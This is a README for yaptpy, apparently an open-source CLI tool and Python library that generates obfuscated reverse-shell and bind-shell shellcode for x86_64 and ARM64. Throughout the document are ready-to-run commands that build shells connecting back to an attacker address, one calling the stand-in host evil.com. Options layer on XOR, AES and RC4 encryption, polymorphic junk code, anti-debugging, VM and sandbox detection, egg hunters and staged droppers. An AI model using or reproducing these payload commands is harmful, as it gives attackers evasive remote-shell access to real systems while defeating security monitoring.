CLI tool that generates highly obfuscated x86_64/ARM64 reverse shell shellcode with multiple evasion techniques
- x86_64 (amd64) - Default
- ARM64 (aarch64) - With reverse shell and bind shell support
pip install yaptpyfrom yaptpy import generate_payload
# Generate basic reverse shell shellcode
shellcode = generate_payload(
ip="192.168.1.100",
port=4444,
executable_path="/bin/sh",
junk=True,
anti_emulation=False,
stack_pivot=False,
obfuscate_path=False,
anti_debug=False,
indirect_syscalls=False,
)yaptpy --helpBasic reverse shell:
yaptpy --ip 192.168.1.100 --port 4444# ARM64 reverse shell
yaptpy --arch arm64 --ip 192.168.1.100 --port 4444
# ARM64 bind shell
yaptpy --arch arm64 --bind --port 4444Obfuscated version with multiple techniques:
yaptpy --ip 192.168.1.100 --port 4444 --junk --obfuscate-path --anti-debug --rle --xor-key 0xAAyaptpy --ip 192.168.1.100 --port 4444yaptpy --bind --port 4444 --bind-addr 0.0.0.0yaptpy --ip 2001:db8::1 --port 4444 --ipv6yaptpy --dns --domain evil.com# XOR encryption
yaptpy --ip 192.168.1.100 --port 4444 --xor-key 0xAA
# Rolling XOR encryption
yaptpy --ip 192.168.1.100 --port 4444 --rolling-xor-key 0x42
# AES-256 encryption
yaptpy --ip 192.168.1.100 --port 4444 --aes-key 0123456789abcdef0123456789abcdef
# RC4 encryption
yaptpy --ip 192.168.1.100 --port 4444 --rc4-key deadbeef# Base64 encoding
yaptpy --ip 192.168.1.100 --port 4444 --base64
# Base32 encoding
yaptpy --ip 192.168.1.100 --port 4444 --base32
# RLE encoding
yaptpy --ip 192.168.1.100 --port 4444 --rle
# LZ77 compression
yaptpy --ip 192.168.1.100 --port 4444 --lz77# Polymorphic junk code
yaptpy --ip 192.168.1.100 --port 4444 --junk
# Enhanced polymorphic engine
yaptpy --ip 192.168.1.100 --port 4444 --polymorphic
# Obfuscate executable path
yaptpy --ip 192.168.1.100 --port 4444 --obfuscate-path
# Indirect syscalls
yaptpy --ip 192.168.1.100 --port 4444 --indirect-syscalls
# Stack pivot
yaptpy --ip 192.168.1.100 --port 4444 --stack-pivot# Anti-debugging (ptrace)
yaptpy --ip 192.168.1.100 --port 4444 --anti-debug
# Anti-emulation (rdtsc/cpuid)
yaptpy --ip 192.168.1.100 --port 4444 --anti-emulation
# VM/hypervisor detection
yaptpy --ip 192.168.1.100 --port 4444 --vm-detect
# Parent process check
yaptpy --ip 192.168.1.100 --port 4444 --parent-check
# Sleep evasion (sandbox bypass)
yaptpy --ip 192.168.1.100 --port 4444 --sleep 60# Egg hunter
yaptpy --egg-hunter --egg deadbeef
# Staged payload (dropper)
yaptpy --ip 192.168.1.100 --port 4444 --stagedGenerates core reverse shell payload with optional features.
Generates egg hunter shellcode.
Generates bind shell shellcode.
Generates IPv6 reverse shell shellcode.
Generates DNS resolution payload.
Generates staged payload (stage1 and stage2).
Encrypts data using simple byte-wise XOR.
Encrypts data using rolling XOR (key increments).
Encodes data using Base64.
Encodes data using Base32.
Encrypts data using AES-CBC.
Encrypts data using RC4 stream cipher.
Encodes data using LZ77 compression.
Decodes LZ77 compressed data.
Generates LZ77 decompression stub.
Generates sleep evasion code for sandbox bypass.
Generates VM/hypervisor detection code.
Generates parent process check code.
Applies instruction substitution obfuscation.
Applies code transposition obfuscation.
Applies call-preceded syscall obfuscation.
Applies syscall splitting obfuscation.
Applies enhanced polymorphic obfuscation to shellcode.
Computes API hash for syscall resolution.
Generates random non-functional assembly instructions.
Removes comments from assembly code.
Generates RLE decoder stub.
Generates rolling XOR decoder stub.
git clone https://github.com/daedalus/yaptpy.git
cd yaptpy
pip install -e ".[test]"
# run tests
pytest
# format
ruff format src/ tests/
# lint
ruff check src/ tests/
# type check
mypy src/MIT